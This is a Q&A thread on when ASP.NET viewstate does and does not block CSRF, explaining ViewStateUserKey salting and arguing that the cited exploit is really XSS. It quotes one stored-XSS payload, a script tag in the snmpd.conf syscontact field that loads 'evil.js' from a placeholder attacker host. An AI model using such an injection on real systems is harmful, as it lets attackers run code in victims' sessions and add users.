Question

Under what conditions does having a viewstate in a request prevent CSRF attacks? This exploit claims that even though a viewstate is present in the request, it is still vulnerable to CSRF. However the exploit doesn’t explain why this is the case.

Answer 1

The viewstate is a mean to persist the state of a view across postbacks (i. e. the property values of the controls). If this state can be guessed or forged by an attacker, then an attacker is also able to forge an authentic cross-site request.

In the mentioned case, it seems that the attack actually requires a Cross-Site Scripting vulnerability to for the CSRF exploit:

Through a combination of XSS and CSRF, a user can be added to the web application by configuring the snmpd.conf file to point to an attacker-controlled JavaScript file:

syscontact <script src="http://attacker/evil.js"></script>

So having the exploit code executed inside the target origin, this request forgery attack is not that ‘cross-site’ any more.

Besides that, since the viewstate can be predictable under certain circumstances and thus does not protect against CSRF attacks, vendors added some unpredictable piece of information to the viewstate mechanism. In ASP.NET this is called the ViewStateUserKey property which is basically a private key per user that is used to salt for the viewstate’s MAC calculation.

But as the exploit description says, it seems that they are already using such protection measures:

[…] NPM is also vulnerable to CSRF attacks despite the fact that it makes use of VIEWSTATE protection.

So, again, this is rather a Cross-Site Scripting vulnerability than a Cross-Site Request Forgery vulnerability. Because if you are already able to execute JavaScript code from within the site, you already have the full control over the site.